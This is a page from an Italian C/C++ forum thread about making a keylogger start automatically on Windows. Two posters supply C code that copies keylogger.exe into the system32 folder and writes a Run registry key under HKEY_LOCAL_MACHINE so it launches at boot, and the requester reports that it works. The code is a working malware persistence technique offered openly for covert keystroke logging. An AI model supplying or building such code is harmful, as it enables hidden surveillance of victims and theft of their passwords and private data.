Forum - C/C++
- auto avvio keylogger - Pagina 6
Dark_Limit (Ex-Member)
Expert
Messaggi: 220
Iscritto: 15/01/2008
Prova ad usare questo codice senza modificare quello che ti ho dato prima:
Codice sorgente - presumibilmente C/C++
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"nomenelregistro",0,REG_SZ,(const unsigned char*)percorso,255);
RegCloseKey(hKey);
L'ho testato e funziona! Le librerie non servono tutto č incluso nel file header <windows.h>
!
Ultima modifica effettuata da Dark_Limit il 06/03/2008 alle 23:27
feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
Dark.. mi rendo conto di essere proprio scarso!
potresti gentilmente incollarmi l'intero codice esatto?
mi sono incasinato con tutte le prove che ho fatto, non so piu' qual č quella di prima!
fabrizio.. ora provo con la tua soluzione.
feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
fabrizio, mi da errori con il 'null'
FHF93 (Ex-Member)
Pro
Messaggi: 132
Iscritto: 13/11/2007
Allora ripeto ...
ho scritto null invece di NULL
Codice sorgente - presumibilmente C++
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
int main( ) {
//dichiari
char sys32[ 512] ;
char path[ 512] ;
char autoavvio[ ] = "SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ Run" ;
//Prende la cartella di sistema
GetSystemDirectory( sys32, sizeof ( sys32) ) ;
//Scrivo in path il percorso della directory
sprintf ( path,"%s\\ keylogger.exe" ,sys32) ;
//Copio il file keylogger.exe nel path
CopyFile( "keylogger.exe" ,path, 1) ;
HKEY key_autoavvio;
DWORD key_run;
RegCreateKeyEx( HKEY_LOCAL_MACHINE,autoavvio,0,NULL ,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL ,& key_autoavvio,& key_run) ;
RegSetValueEx( key_autoavvio,"avvia" ,0 ,REG_SZ,"C:\\ WINDOWS\\ system32\\ keylogger.exe" ,512) ;
RegCloseKey( key_autoavvio) ;
/*Resto del codice del keylogger*/
(linka sempre la libreria come ti ho spiegato prima)
feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
Status: Done...
č andato!
ma non vedo nessun file in "esecuzione automatica", mi devo proccupare?
feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
vi ho fatti stancare?
gantonio (Normal User)
Guru^2
Messaggi: 1532
Iscritto: 09/09/2007
Penso proprio di sė ...